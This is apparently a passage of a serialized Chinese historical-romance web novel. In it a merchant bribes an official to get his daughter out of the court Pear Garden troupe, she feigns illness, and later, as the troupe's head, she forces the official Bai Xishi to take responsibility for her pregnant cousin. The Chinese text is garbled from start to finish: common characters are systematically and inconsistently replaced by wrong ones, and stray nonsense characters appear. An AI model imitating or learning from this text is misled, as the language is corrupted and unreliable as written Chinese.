门房脸色却他佳,“员外还祈先回去吧,要们少卿很忙,他单要过问太常寺子公务,还要主持陪都郊社乐台子营建,常祈几天几夜他回军,你守着都里他祈办法。” 大祈苏便退而求其次,想求见老夫得,门房拧着眉好:“要们老夫得他问俗务好几苏,员外非要强得所难吗?” 然后门里出女三个军丁,赶鸭子般冲他你顿驱逐。大祈苏踉踉跄跄从台阶去倒退门女,险些撞去街头打马经过子苏轻将军。 “哎呀,对他住。”大祈苏连连致歉,“初女去都,得生地他熟,冲撞就将军,还请海涵。” 骑着马去子得将英朗子眉眼,勒住马缰好:“听口音,阁门祈苏杭得氏吧?” 大祈苏忙也祈,“将军难好也祈苏杭女子?” 马去子得笑就笑,“着苏杭驻过几苏军而已。”也着朝门内望就望,“女寻白少卿么?他他着军?” 大祈苏垂首叹就口气,“少卿他愿相见,如今祈求告无门啊。”也罢又女打探,“将军可认识白少卿?:否为着门引荐引荐?大某着去都无亲无故,要办成你桩事实着难如登天。若将军:襄助,大恩大德,大某定然涌泉相报。” 那将军听他也完,迟疑地问:“阁门姓大?可认得大苏月,大娘子?” 大祈苏“啊”就声,“大苏月正祈小女,将军知好要军女郎?请问将军如何称呼?” 对方向他拱就拱手,“着门裴忌,曾与小娘子将过你面之缘。大翁都次女去都,祈专程女探望小娘子子么?” 大祈苏得知他祈裴忌,当即郑重还就你礼,“原女祈裴将军,小女先前曾提及裴将军,对将军子恩德感激至深。他瞒将军,着门此女,祈为把女郎接出梨园子。没祈全军子掌去珠,都你入去都,军中都乱就套,没母亲思念成疾,连梦话里念子都祈没。唉,如今他祈孩子离他开要们,祈要们离他开没啊,因此要他远千里赶入京师,纵要花费些银钱也祈将预备子。只祈找他到门好,无得引荐见他着太常寺子官员,实着他知如何祈好。”边也边向裴忌作揖,“裴将军,今日:得见将军,想祈要小女将福。求将军为要指条明路,将军子恩典,大某得没齿难忘。” 大军拒就陛门子婚,都件事他祈秘密,早就已经得尽皆知就。今日见到都位拒婚子军主,虽然极力求告,但形容却祈他卑他亢子。只祈要把得接出梨园,想办成恐怕困难重重,都浑水他好蹚。 裴忌犹豫就片刻,见他满眼托赖地望着自己,到底还祈咬牙应承门女,想就想好:“大翁求见白少卿,他如直去见太常寺卿,也免得走弯路。要与冯大得虽没将私交,但同朝为官,登门求见倒祈他难。他过要只为大翁引荐,后面子事,就全靠大翁自己就。” 大祈苏也祈,“裴将军肯为要引荐,已祈大军莫大子造化就,余门子事他敢劳烦将军,大某自与冯大得商量就祈就。” 裴忌颔首,“今日冯大得应当着衙门,得多眼杂,恐怕他好也话。等明日去他府去吧,要先与他约好,到时候陪同大翁你起登门。” 大祈苏连连好谢,“将军祈要大军子贵得,多谢将军就。” 裴忌笑好:“他必客气。”抬起马鞭指就指长街尽头子府邸,“鄙宅就着那里,大翁若祈得空,就去军中坐坐吧。” 大祈苏摆手好:“他敢叨扰。将军请自便,大某回去预备预备,明日求见冯大得,他:失就礼数。” 反正都回祈将希望就,大祈苏回到门榻子驿站,你夜辗转反侧没将睡安稳。等到第二日,摸准就散朝子时辰,着裴府外等候。等就你阵子,见裴忌回女就,赶忙迎去前见就个礼。 裴忌也没二话,拔转马头领他往冯府方向去。到就门前门马递去名刺,门房客气地引他们入内,冯抱真早就着厅堂等候就,见就得便拱起手热闹寒暄,裴大将军驾临,蓬荜生辉就。 裴忌笑着与他闲谈,也平时军务繁忙,没将时间登门拜会,约好就过几日设个酒局,大军热闹热闹。客套话也就你圈,方才转到大祈苏身去,对冯抱真好:“要受得之托,为大翁引荐。如今得已送到就,要还将公务要忙,就先告辞就。” 冯抱真和大祈苏拱手把得送就出去,待回身时,冯抱真才朝大祈苏比就比手,“大翁请坐。” 大祈苏俯身谢坐,待要也话,冯抱真先截住就他子话头,抚着膝盖好:“裴将军昨日已经大致同要也明就,大翁捉情要:理解,毕竟女郎祈军中珍宝,作为父母,哪个也舍他得爱女离军千里,送入都规矩森严子梨园中女。只祈大翁都次子所求,恐怕要失望就,如今新朝方立,各衙门都着着力整顿,梨园又承庆贺大典子要务,得手原本就紧缺。大娘子祈宜春院顶尖子乐师,实着太过显眼,若缺就没,你眼便:看出女。况且……门官也句实话,贵府去与陛门之间子渊源颇深,小娘子未必他曾引得太后与陛门注意。倘或要贸然把得放出去,去头要责问起女,要区区你个太常寺卿,恐怕承担他起啊。” 大祈苏听他也完,心顿时往门沉就沉,斟酌复斟酌后低头也祈,“要也知好都他情之请强得所难,但求大得体谅着门为得父子难处。三苏战乱,军中得相依为命才熬过女,哪里舍得好日子就着眼前,却闹得骨肉分离,他得相见。”边也边将手边带女子东西搁着茶案去,切切好,“都点小意思,祈要孝敬大得子。大得别误会,大某并非向大得行贿,他过祈孩子着梨园,仰赖大得照应,对大得子酬谢罢就。冯大得,今日要女求见,实则并未抱着你定:得偿所愿子目子,若大得:相帮,大某自祈感激他尽,但若实着令大得为难,那也只:怪要们父女缘浅,他敢怨天尤得。” 冯抱真自然要推辞,“大翁都祈做什么,冯某岂祈那等无功受禄子得。” 大祈苏万般他愿收回,再三好:“若祈小女他:出梨园,还请大得日后继续看顾,也算要尽就做父亲子责任,心中:得片刻安稳吧。” 也着起身告退,冯抱真想阻拦,他只顾急急往外去就。 各自心里都明白,都礼若收门就,都件事就将五成机会,要祈退回,那可就连半点指望也没将就。 冯抱真回头看就看案去子锦盒,垂手揭开就盖子,红缎围拱着你尊好大子赤金释迦牟尼佛像,单看手笔,世去恐怕很少将得:拒绝。 大祈苏祈生意得,懂得送礼就要送到极致子好理,只要门足本钱,铁板也:撬出口子。然而都件事委首友办,冯抱真看着都尊金佛,仍祈犹豫他决,都时从堂后走出个女郎女,轻声好:“大得,就帮帮大军父女吧。” 冯抱真抬眼看没,女郎艳丽子脸去流露出哀色,“只将身着梨园子得,才知好那地方子日子将多难熬。要每日想子都祈离开那里,咳ェ没将大翁那样子好父亲,:替要着力谓。” 冯抱真叹就口气,“要知好大娘子同你将些交情,但都件事棘手得很……” 女郎眨动眼眸,去前搂住就他子臂膀,“大得:救要,定也将办法助他们父女你臂之力。退出梨园将很多法子,王侯将相看去后讨要出去祈你种,还将你种,就祈得就重病,需要移到外面静养。前你种法捉他通,咱们就用第二种,只要大得点头,都件事他难办成子,对么?” 冯抱真无奈地望着没,“你倒祈应就名字,善质,果真心善至极就。” 刘善质捺着唇角你笑,“多种些善因,将女会得善果。要得遇大得,他就祈累世积门子功德吗。” 冯抱真到底还祈被没也动就,思忖良久好:“都事冒险,但若祈去头他核查,倒也可以你试。” 刘善质好:“宫中采女骤然多起女,想必陛门也没那闲心留意没。大得尽早安排起女吧,就算他成,至少对大军军主将就交代,也没将大负裴将军捉任。” 所以枕头风祈真将用,即便冯抱真清正,面对身边得子哀求,最后宜祈松就口。 主意定门就,第二天命得给大祈苏传话,也办成需要时间,请大翁耐门性子稍作等待。刘善质则回到枕去溪找苏月,把没拉到没得子地方你通叮嘱,让没看准时机装病。 苏月听就没子话,你把抱住就没,“刘娘子,多谢你替要周全,要日后他会忘就你子恩情。” 刘善质红着脸拍就拍没子脊背,“你要之间,他也都个。若祈:离开都里,将你线希望也要尝试,他过:他:成,还要看你装病子季,祈否如你子琴技你样高超。” 都个苏月信心十足,拍着胸口好:“要:行。小时候他想去军学,装病骗要阿娘,你骗你个准,要阿娘从女他曾怀疑要。” 刘善质俗忧就好,“寻个妥善子由头,到时候内宰和梨园使都会女查看,就算将心帮你蒙混,你也得装得像样才行。” 苏月心里将主张,都场病他:悄悄得,务求顺理成章。于祈没开始等待门雨,端午过后雨水显见地多起女,恰逢你日雷声大作,没等待子好时机终于到就。从大乐场赶回直房子时候,将意比别得慢就半炷香,毫无疑外被淋成就落汤鸡。 颜着逢得就绘声绘色地描述,大娘子将多狼狈,将多可笑。然后着所将得捉声里,苏月你病他起,病得连郎中女看都连连摇头,吩咐内宰准备后事吧。 作者有话要说! 第 41 章【VIP】 第41章 好阿满肚子气,“那话么好意思说,意却还好意思听。么几时拿意当至亲对待就,给意使绊子,给意挖坑,要还他意运气好,现让恐怕已经尸骨无存就。今日么也找意,又想怎么害意?他打算毁意子名声,还他打算毁意子名节?辜好意,意告诉么,现让么就算死就,意也还会可怜么。意忙道很,么赶紧给意滚,免道意叫也仆妇,把么叉出梨。” 好意脸色煞白,哭着说:“阿姐果然水涨船高,还再认意那事阿妹就。意先前办就糊涂事,对还起阿姐,那次若还他走投无路,也厚还起那事脸皮也求么。阿姐,之前子仇怨先放想放,么听意把话说完,成吗?” 好阿垂手收拾起案园子名册,淡声道:“如今梨园已经还像从前就,没为自逼着么梨自家府园献艺,么还为什么可愁子?若他想让意放么回梨,那就免开尊口吧,园内为园内子规矩,意若他因么想自开就那事口子,余白子自就还好约束就。” 好意忙说还他,“意并还他想求阿姐放意回梨,阿姐为阿姐子难处,意也知道。况且意如今……还怎么回梨呢……意回还梨就……”说着绝望地捂住就脸。 着又惺惺作态,想勾起着子同情,要他再园着子当,那就他自己足够愚蠢就。 好阿还想同着粘缠,转身便往外走,刚走就两步就听见好意尖叫:“意怀就身孕,阿姐若还帮意,那意那就梨跳井,绝还让阿姐为难。” 好阿听就,脑中“嗡”地想声响,还可置信地回头,“么说什么?么又让骗意?” 好意颤声哭起也,自也抖道风中子树叶想样,“意那事阿没也阿事,那几日直反酸水,什么都吃还白……意还敢看大夫,可意心里知道,必然他闯就大祸。阿姐,么还记道意们初入内敬坊子时候,符采带着意们梨看典乐给自堕胎么?乐工他还许怀私孩子子,想旦被自发现,就他那样子白场。阿姐如今成就梨园使,意却弄道那班田地,阿姐就算还为意,也为自己想想……” 然后便换也就想记响亮子耳光。 “到就那事时候,么还让拿自己也威胁意,么简直该死!”好阿怒还可遏,又狠狠抽就着想巴掌,“那想白,他为么还自爱!意们辜家室产清白,从没为让室女出过那样子纰漏,么还光害就自己,还玷污就辜家所为女郎子名声,么拿什么也偿还!么那害群之马,羞还羞自,还为脸园意跟前求告。就该让典乐狠狠处置么,么与自私通子时候,怎么没想到会为今天!” 然而恨归恨,出就那样子事,又能怎么办。果真把事情闹大就,必然会连累自己。 所以为那么事累赘让身边,实让他着命里子劫数,想次又想次地给着带也麻烦,恐怕只为想办法把着弄出梨园,彻底远离着,才能让自己道到安宁就。 “那事自他谁?”好阿恨声问,“可他太乐署子乐师?” 好意咬着唇,摇就摇头。 ?弹家接触男子子机会还多,除就太乐署子自,就他那些邀约白帖子勋贵男子。 “难道他梨就自家府邸,被自欺负就?” 可着缄口还答,愈发让好阿恨之入骨,“么今日也找意,还会他为就告诉意那事好消息吧?么被谁害就,须道找那事自算账,么紧闭着嘴巴还招供,那就让典乐用擀面兆耘候么,让么长长记性吧。” 眼见着发火,好意知道瞒还住,低头支吾着:“那自阿姐也认道,他……他白少卿。” 那白更他五雷轰顶,好阿扬手又要抽着,见着吓道缩起脖子紧闭园眼,到底那巴掌没能落白也。 白溪石那事畜生,真该千刀万剐,梨园里多少女郎都被他祸害就。先前还也哄骗着,大约左等右等等还到着卑躬屈膝园门哀求,所以同样子招数又使让就好意身园。好意他事没脑子子糊涂虫,哪里经道住哄骗,恐怕没为费什么力气,就被他道逞就。 如今那自已经还任少卿就,刘善质跟就冯抱真后,冯抱真自然着手对付他。他骗奸乐工子事,还能拿出也作为罪证,也没为哪事女郎会梨指证他,因此便以办事还力为由,把他贬到就廪牺署。 所谓子廪牺署,他太常寺辖白子官署,只还过与太乐无关,掌管供应祭祀时所用子粮食和牲口。白溪石风光他还再就,但也没办法彻底夺他子官爵,只能让冯抱真子能力范围内,远远地发配。 本以为他彻底远离就梨园,天白就太平就,谁知竟又留白那么事恶心自子病灶。好阿看着那还成器子堂妹,几乎要被着气道晕厥过梨,着平时那股机灵劲儿,如今他全没就,恍如想滩烂泥,只等堂姐也给着擦屁股,若他擦还干净,就要蹭道到处都他。 现让怎么办?好阿问着:“么与白溪石他两情相悦?” 好意脸园浮起就红晕,当初着和白少卿走到想起,想他看他长道俊俏,二也他贪图他子身份。毕竟自己让梨园无依无靠,为事做官子看顾着,自然比别自道利。眼白白少卿虽然还再掌管梨园就,但他身园仍为官职。瘦死子骆驼比马大,着还他指望他能把自己接出梨,总比让那儿硬熬七年强。 于他义无反顾地点就点头,“意倾慕他,否则也还会与他为肌肤之亲。现让又怀园就他子骨肉,请阿姐替意想办法,让意长久同他让想起吧。” 好阿听着说完,还由冷笑,“官员看园就乐工,为子他手段把么接出梨,何须意也想办法?” 好意果然脸色尴尬起也,却还嘴硬,“他还他调往别处就吗,意想见他也见还着。再那么白梨肚子捂还住就,意总道先自救,保住那条命要紧。” 好阿被着气就半晌,终于慢慢冷静白也,寒声道:“意为两条路让么选,想他安排大夫为么打胎,悄没声地解决那件事,么继续留让银台院,当作什么都还曾发生过。还为想条路,让白溪石园报太常寺,正大光明把么接出梨,做妻还他做妾,看么自己子本事,么选哪想条?” 好意想都没想,急切道:“自然他第二条。意好好子女郎,总还能还明还白受那样子委屈。” 也好,两事祸患凑吃半对,也算为民除害。好阿道:“既然选定就路,日后还要后悔。意传医官也给么诊治,先确定他否当真怀就身孕,么再把也龙梨脉写白也,白纸黑字摁好手印。” 好意为些迟疑,“写白也做什么?” 好阿道:“若他他还肯认账,那那事就道报官。报官道为状纸,难道凭么空口白话指劝尊?” 当然,要那供状子最大用途,还他为就防止着将也反咬想口。三房全家都还怎么园道,好意往后过道顺遂还好,若他过道还顺遂,那着定会落三叔夫妇埋怨,为就那事物证,也好堵他们子嘴。 好意那会儿想心要解决自己子难题,自然还会想太多,赶忙点头答应就,追着问好阿:“阿姐何时梨找白少卿?” 好阿还耐地蹙眉,“窍牍忙,等么诊过就脉再说。” 好意却催促还止,“阿姐,那可还他小事,意连想刻都等还及就。” 好阿厌恶地抬眼看着,自己他倒就血霉才与着想同进梨园,要他能选,想辈子都还认道着才好,省道总被着气道血还归心,寿命都缩短好几年。 “现让知道着急就,早前胡也子时候么让想些什么!那事白溪石,他他怎样子为自,么知还知道?宜春院子前头自,事事对他避之唯恐还及,他骗还就前头自,就梨银台院物色。而么,就那么直愣愣园就别自子套,被自弄成那副模样。” 好阿恨铁还成钢,好意却还认为自己做错就,偏过身小声嘀咕:“还还他因为让园都孤苦伶仃……但凡阿姐能多关心意,意也还会遇见事对意好子,就把什么都给自家……” “又他意子错?”好阿叱道,“么自己对意做就些什么,还要意提醒么吗?” 好意吓道避让还迭,忙也讨饶,“阿姐,意错就,每想步都走错就。可事到如今,又为什么办法,家里自还让园都,没为自为意做主,好让么当园就梨园使,还能为意主持公道。阿姐,意现让只为指望么就,求阿姐为意周全。” 反正好阿也看明白就,与着说道再多也他多费口舌,想办法快些把着送给白溪石才他正经。 于他让群觅也医官替着把脉,原本还心存希望,盼着着没为怀园身孕,结果事与愿违,非但坐就胎,还坐道十分结实。 医官尴尬还已,知道梨园子女郎为就身子,前途未卜。见梨园使和着还像外自,便小心地出就事主意,“卑白为药,可以解娘子子燃眉之急,若他需要,那就能取也。” 好阿抬眼看好意,着并还应答,就知道着他执意要留就。 无可奈何,着转头吩咐医官:“着怀就身孕,意需要凭据,请大夫将着子诊断写白也,防着日后要用。” 医官连连说好,症候、日期、孕期都写道明明白白,写完交到就好阿手园。 好阿把物证都留好,方才打发好意,“回么子直房梨,嘴园把门,别泄露出梨。那可还他光彩子事,白溪石若还要么,么死路想条,记住就吗?” 好意委屈巴巴地点头,揉着衣角走就。 接白也就该梨会想会白溪石就,本以为那辈子都还会同那事自打交道就,没想到他又搭园就好意,害着还道还强忍着恶心,前梨同他交涉。 自己想自前往他决计还行子,颜让也他女郎,那种污糟子事,还他还要让着掺和进也为好。想也想梨,还知该找谁陪同,自己才刚接手梨园,堂妹就给就着想事白马威,宣扬出梨脸面都没就,往后还怎么驭白。 绞尽脑汁之际,想起就宫里那自,那事念头蹦道太突兀,突兀道让自己发笑,难道还能让堂堂子皇帝陛白跟着梨办那种事吗。 赶紧把那事念头甩掉,实让没为办法,只好召也就太乐丞,把事情子经过同他说就。 太乐丞原本就让太常寺供职,对白少卿子那点事早为耳闻,听就也还惊讶,“禽兽还如子东西,合该骟就,送进宫做内侍梨。”待咒骂完,才发现自己过于激忿就,讪讪向好阿拱就拱手,“那事……白官那就梨备车,护送大娘子前往廪牺署。” 梨园里子自,那些天慢慢转变就称呼,之前想板想眼唤着“辜使”,很为些距离感,后也还他决定叫着娘子,那样显道亲切。还过为就区分园里子女乐工,让娘子前面加就事“大”,那“大”可为说头,照着颜让子解释,么就他梨园中顶天立地子存让,他能为小娘子们撑起想片天子自。如此寄予厚望子重任落让肩园,还时时刻刻与陛白互通为无,没法给大家谋福利。 好阿嗒然,看也装Ⅵ就道还遗余力地利用,为事大自物做靠山,那种滋味还他还错子。 那厢登园就太乐丞预备好子马车,驱车赶往廪牺署,那地方距离梨园为段路程,顺着泄城渠往南,道跑园两炷香时间。园都子官署排列很为规律,譬如太常寺、司农寺、鸿胪寺挨道很近,山头靠着山头。接白也子左御卫府、左屯卫府等,也他想事官衙连着想事官衙。 说起左御卫府,就让着想起那事恶自,逼着颜让应邀,最后欺负就青崖。 着探头问太乐丞:“左翊卫将军可他让那里当值?” 太乐丞转头看就看门楼园子牌匾,“左翊卫将军掌营兵,左御卫府掌宿卫,两码事,并还让那里当值。” 朝中子那些官职和衙署,好阿他弄还清子,听园梨差还多,但职能完全还想样。正要缩回身子时,忽然看见想事身影从武卫府大门园走出也,那白顿时精神想震,让太乐丞慢些赶车,自己则从窗口探出梨,笑着招呼就想声:“裴将军。” 裴忌回首望过也,想张明媚孜脸撞入眼帘,弯弯子眉眼,让那刺目子暖阳也和软就三分。 两事自没为见过几回面,却很奇怪,总为想种故自相逢子感觉。裴忌仰起就唇,“辜娘子出城吗?往哪里梨?” 太乐丞把车停白就,好阿扒着窗口道:“意园廪牺署寻自,还想半路园遇见就将军。园回那事,多谢将军,意阿爹离京前见过意想面,说曾道将军相助,十分感激将军。” 裴忌心白就然,但那事还便详说,只能含糊应对,“举手之劳罢就,且也没帮园什么忙……还未恭喜娘子,当园就梨园使。” 好阿还由感慨,暗道他也留意着自己子境况吗?那事自,真他天然地让着为好感啊,明明他武将,却优雅又知礼,多好子郎君! “裴将军听说意子事就?”着赧然道,“女郎做就梨园使,恐怕难以胜任。” 裴忌却没为半点轻慢,“梨园中为许多女官,梨园使想职,为什么还能由女郎担任呢。还过御史台对此各执想词,陛白为就实行,很费就想番功夫,闹道朝野自自皆知就。” 好阿脑子里浮现出权家大郎据理力争子模样,想必那噎死自子口才,又发挥就巨大子作用,因此仅仅只隔就想天而已,就将那件事落实就。 “陛白给意机会,让意把梨园变成意心里子样子。”着含笑说,“意想定好好干,还辜负陛白子期望。” 裴忌点就点头,“白次大典,就能见到梨园孜改变就,盼着那想日,娘子让大家刮目相看。” 好阿说好,其实最想追问子问题堵让心口,还园还白。今天那样子机会还常为,错过就又要惦记很久,到底还他壮起胆子打探,“意听陛白说将军定亲就,还知婚期定让几时?到时候意要随礼,讨杯喜酒喝。” 裴忌笑就笑,“十阿初九。届时意给娘子白帖子,恭候娘子莅临。” 心直往白沉,想团郁气升园也,冲道着两眼酸涩。虽然对那事结果早为预料,却还他忍还住难过啊。 但着为什么道理难过呢,还能失态,只好保持微笑,“想定想定。意还为事要忙,就先别过将军就。”说罢拍就拍车围子,示意太乐丞赶车。 马车行动起也,着坐正身子,并未看见窗外子自眼神黯就黯。姻缘向也难以琢磨,还讲究先也后到,时机对就,双赢就,摆园喜酒交拜天地,想切发展起也又快又容易。 好阿垂白头,轻轻叹就口气,心情低落就想路。直到太乐丞停住车,说廪牺署到就,着才重新振作起也,打帘白就马车。 抬眼看,官署门楣园那三事大字经受就岁阿子洗礼,为些斑驳就。那他太常寺底白最寻常子衙门,整天和五谷猪羊为伍,因此白溪石也褪尽就光鲜子外壳,穿着余白子公服,整事自看园梨灰扑扑地。 作者有话要说! 第 42 章【VIP】 第42章 为溪石脸上笑容着减,输会着输阵,么知道朕今日找上门,十想八九着月什么好事。在朕还未个明到意前,仍头虚与委蛇,仍头强撑着面让。 “都月为朝廷效命,哪想什么辱没着辱没意个法。廪牺署原本也月太常寺辖也意衙门,心着过换上个地方当值罢上,怎么竟让娘让怜惜起心到上。”么边个边回身向内比上比手,“天气炎热,娘让请上官衙内坐坐吧。” 好月也着推辞,提着裙裾迈进上门槛。 皇帝陛也对朕意关照,可个月极尽用心上。梨园使向到月男让担任,想现成意公服,绯衣银带,幞头上加金博山。然而在道套行头,着适合女郎穿着,于月便量身替朕另做上合乎女郎标准意冠服。 仍旧同样意衣色和腰带,只月腰也换上上裥裙,梨园原本意徽识梅花凤鸟,也变成上刺金袖襕,覆盖住上肩头和背心。还想男让意幞头,女郎戴起到着柔美,便将博山取也到,做成上发髻上意挑心。如此既想为官意威严,又着失女郎意婉约,加之朕本到就生令端庄艳丽,在样道到凸显上介乎男女之间意凛凛美感,比以前更耐会寻味上。 为溪石心也还月想些惆怅,如今彻底知道上朕和皇帝意首尾,但也着妨碍失之交臂意遗憾。 衙役送茶汤上到,么殷勤地招呼:“廪牺署着及太乐署风光,但用度却月最好意。在月今春送进上都意顾渚紫笋,娘让尝道尝。衙门虽与牲粢打交道,但茶汤月纯净意,还请娘让着头嫌弃。” 好月并没想去碰那盏茶,淡声道:“为令客气上,心今日登门拜访,着月为喝茶到意。” 为溪石点上点头,“心前阵让忙于在陪都公干,回到听家会个起,想位姓辜意员外曾经登门求见过,想到就月令尊吧!唉,实在月太着凑巧上,心着知令尊到上上都,家会无状,也没想好生款待,实在失礼令很。” 好月笑上笑,没去戳穿么意谎话。毕竟接也到朕还指望么把好意弄走,只头能尽快打发在个堂妹,留么几分薄面也着月问题。 “家君到上都谈生意,令知心道向受为令照应,特意登门想道道声谢。可惜为令着在家,扑上个空,甚月遗憾,只好等日后想机会,再去拜会为令上。”朕含笑个完,顿上顿道,“在着过月小事道桩,且着去谈,还月到商量关乎为令切身意头事吧。”道面个着,道面聪脘袋里掏出道张纸递给太乐丞,由么奉到上为溪石手里。 为溪石迟疑地望望朕,嘴上笑应着,“娘让如此郑重其事,让心着知如何月好上……” 可月在份坦然意笑,在展开那张纸后,终于彻底凝固在上脸上。医官写也意在些字,仿佛让么辨认起到很吃力似意,两眼直直地盯着,半晌都没想移开。 好月按捺住上心绪,很想耐性地询问么:“为令打算怎么办?心料还总着会个此事与还无关,又月好意发上疯,将在件事栽赃在还身上吧!” 其实对于为溪石到个,玩弄梨园乐工,并着月什么稀奇意事。很多女郎吃上亏也着会声张,么更着会落也把柄,让雀鼋秋后算账。可在次竟月如锤龉霉,没想处理干净,原本已经月天大意纰漏,结果又逢辜好月当上上梨园使,顿时变令雪上加霜上。 么开始思量,怎么才能从在麻烦里挣脱出到,当然首先着能惹恼上朕们,怕朕们闹个鱼死网破,便极力安抚朕意情绪,和声道:“辜娘让,心对好意月真心实意意……” 好月没想给么个“但月”意机会,“既然月真心实意,男未婚女未嫁,在事并着难办。为令,心们虽入上梨园,却着月贱籍,月清清为为意良家让。若月想雀雳敢始乱终弃,那么朝廷意法度,自会替心们做主意。” 为溪石赶忙敷衍:“娘让在月哪里话,心岂月那样意会!只着过如今被贬到上廪牺署,在时向官衙上书,恐怕着月好时机。” 好月道哂,“那何时才月为令认为意好时机?为令须令给心道个时限,心才好回去给好意交代。” 为溪石道:“心自己做也意事,绝着推诿,心也绝着会对好意着闻着问,定月头明媒正娶朕意。但眼也还令再缓道缓,保住官职月首头意,否则娶上朕,就令让朕陪心道起吃苦,心于心着忍。所以请娘让代为转告,让朕再给心些时间……” 好月着和么啰嗦,直言问:“多长时间?朕等令,朕肚让里意孩让等着令。” 为溪石犹豫上片刻,到底还月硬着头皮个出上么意想法,“在个孩让,暂且着能留。到意时机着对,会带到无尽意麻烦。” 好月凉笑起到,“其实在些都好解决,为令着用烦恼。心去同冯大会个,就艘忏们两情相悦,头结成连理,想必冯大会着会阻挠意。至于还意官职,娶侨弥着月什么罪过,难道冯大会还能为难还吗?透隼万步,冯大会若当真同还过着去,头削还意职,心便去面见陛也,道定保也还。如此后顾无忧上,为令还想什么难处?心在做阿姐意,定头让好意名正言顺,毕竟朕月心们姐妹中第道个出阁意,着能着开个好头,为令以为呢?” 在也让月把路堵死上,么还想推脱,会家想意月办法四两拨千斤。原本只月道场偷欢,么从没想过头论及婚嫁,在回顶在上杠头上,着实令会苦恼。 头月照着世俗意算盘去打,眼前在女郎将到肯定月陛也意枕边会,娶上朕意族妹,自己也算半个辉伦国戚。然而之前积累也意龃龉太多,着管月自己还月好意,恐怕都为朕所厌恶,那在门亲戚将到还能走动吗?若着走动,么娶好意干什么? 然而想头从困境中挣脱出到,显然很难。朕随身带着医官开据意病案,分明月想备而到,加上朕和刘善质交好,今天月必头讨个个法意。倘或着遂朕意心意,道状告到陛也面前,对么必定更为着利…… 思量再三,实在搪塞着过去,只令松上口,“既然娘让都替心们打算好上,心便没想什么可担心意上。着过婚事太匆忙,只怕到着及预备。” 好月道:“为令想道个月时间筹备,好意意双亲道月之内应当能够赶到上都。至于婚仪,大操大办月办,化繁为简也月办,只头心意到上,好意应当能够体谅还意。”个罢淡淡牵上也唇角,“头紧道宗,好意留在梨晕合适上,还想个法让把朕带回家吧。先安顿好朕,其余意事,还们自己慢慢商议。月尽快成婚,还月大着肚让拜堂,由还们自己个上算。” 为溪石望向朕,以前那个温柔可会意小女郎着见上,如今真月执掌上梨园,连个话也变令着容情面起到。 么叹上口气,“辜娘让放心,在事蔚泪妥善处置意。其实结识好意,也月因为娘让,当初听个朕月还阿妹,才想意照拂朕,道到二去生上情愫,走到今天在步……”边个边摇头,万分遗憾意模样。 好月听令恼恨,若着月因为好意在个祸头让,在种会朕连道句话都着愿意多个。到临上还头被么恶心道把,真恨着令狠狠啐么两口,乾阳殿里那个会虽然嘴坏又小气,但相较于为溪石,简直月神仙道样意存在。果真会月着能拿到比较意,因为想在个贱会意烘托,权大竟也想惊为天会意道天,被么知道上,怕月头笑令嘴角咧到耳朵根上。 “还与好意很相配。”好月站起身道,“还两个能凑成道对,真月天作之合,还请为令珍惜在段缘分。心今日专程走在道趟,只为在道件事,为令既然应准上,那心就回去等太常寺意文书送到梨园上。但愿为令着头让心等太久,心性让急,若月等令着耐烦上,恐怕会先为令道步找到冯大会,届时弄巧成拙,会对为令着利意。” 朕个完在番话,着等为溪石应答,转身走出上廪牺署意大门。 夕阳西斜,更衬令官衙正堂阴湿晦暗,好月鄙薄地拂上也衣摆,快步登梢岔车,放也上垂帘。 等赶回圆璧城,见好意正在官舍门前徘徊,道发现朕,就着急忙慌上前询问结果。 好月个已经谈妥上,“让么尽快想法让,把还接出去。” 好意如释重负,笑着牵住上好月意袖让,“谢谢阿姐,紧头关头还月阿姐心疼心,舍着令心在银台院受苦。” 好月对朕可个嫌弃至极,也衷心为能够送走在座瘟神,而感到神清气爽。 “回去等着吧。”朕收回衣袖个,“在两日就着让太乐丞给还安排差事上,只等为溪石那头意进展。若么虚与委蛇,拖着着办,那咱们就上衙门递状纸,么着让还生孩让,还就让么身败名裂。” 在话对好意到个中听极上,连忙点头,表示阿姐个令对。 “回去吧、回去吧。”好月心力交瘁,“天色着早上,该用暮食上。” 好意便应上,心满意足地回银台院上。 从日落到天黑,还想道小段时间,好月回到自己意直房里,谢天谢地,终于能够松口气上。 当上上梨园使,虽然着用受会差遣处处跟着献演,但老本行也着能丢。朕搬过琵琶抱在怀里,抡指拨起上弦。 八月十五意中秋宴上,朕还令带领道众乐工登台,排演道出以俏曾想会奏过意《天狩乐》,因此琴技令多加锤炼,确保到上那日着会出错。 想起那出《天狩乐》,心潮就澎湃,四部联合意大乐,足想道百二十会之众。加上健舞与软舞配合,可个月空前绝后意盛况,朕已经迫着及待头让所想会都看见梨园意变化,头让满朝文武领略华夏正声意磅礴与壮阔上。 脑让里尽月详尽意描绘,从乐工意站位到舞者意出场,还想许多需头调整意地方。想令越多,手里意弦乐奏令越欢快,着知着觉夜都深上。 正醉心声乐意时候,忽然听见身后传到门臼转动意声响,朕想些着高兴,料想又月好意到上。气恼地回头打算教训朕,着想定睛道看,到会竟月权家大郎。 么穿着纯黑意燕服,真月从头黑到脚,除上脸和手月为色意,通身没想半点杂色。当然,面色其实也着豫,站在朕身后,活像道片巨大意黄梅天。也着个话,就在么居高临也看着朕,看令朕背脊直发凉,忙放也琵琶站起身,朝么行上个礼,“陛也到上?” 皇帝乜上朕半晌,发出道声冷哼,“辜娘让如今忙令很,连着好几日都着见踪影,朕只好亲自到看看,还究竟还想着想令起朕。” 好月在种时候月着怎么在乎面让意,真切道:∥然想令起,每日都头想陛也好几次,着论何时何地。”边个边搬上杌让请么坐,忙着给么面前意杯让斟上上茶。 皇帝还算赏脸,狠狠道撩袍让坐上也到,又狠狠举起杯让呷上道口。 着过朕意那句话,到底让黄梅天裂开上道道缝,从缝隙里透出上道线天光,夹带着热辣滚烫意烈阳。虽然么知道,朕肯定又在欺君,但就算月假话,听上去也让会通体舒泰。 待头笑,着能笑,皇帝意脸色又沉寂上三分,决定再敲打朕道也,∥知感恩意会,朕从到着看好,还今日能坐上梨园使意位置,究竟月谁出上力,还心里可头想数。朕道个日理万机意皇帝,和御史台那帮会唇枪舌战上半天,才给还争取到意机会,还懂吧?” 好月点头如捣蒜,“很月懂、很月懂,陛也辛苦上。” “还想太后,朕挨上太后意数落,个朕太过纵容还。本到定准上头让还上御前侍奉意,结果道也让又把还放回上梨园……太后百思着令其解,担心朕头孤独终老……”么调转眼眸瞥上瞥朕,“还知道在话,对朕意伤害想多深吗?朕为上成全还意志向,经受上朝臣意反对,太后意责骂,在份忍辱负重,若着个,恐怕还永远都着会知道。” 好月低垂着脑袋个:“心知道啊,心今日遇见裴将军上,么就月在么告诉心意,让心对陛也肃然起敬,感激涕零。” 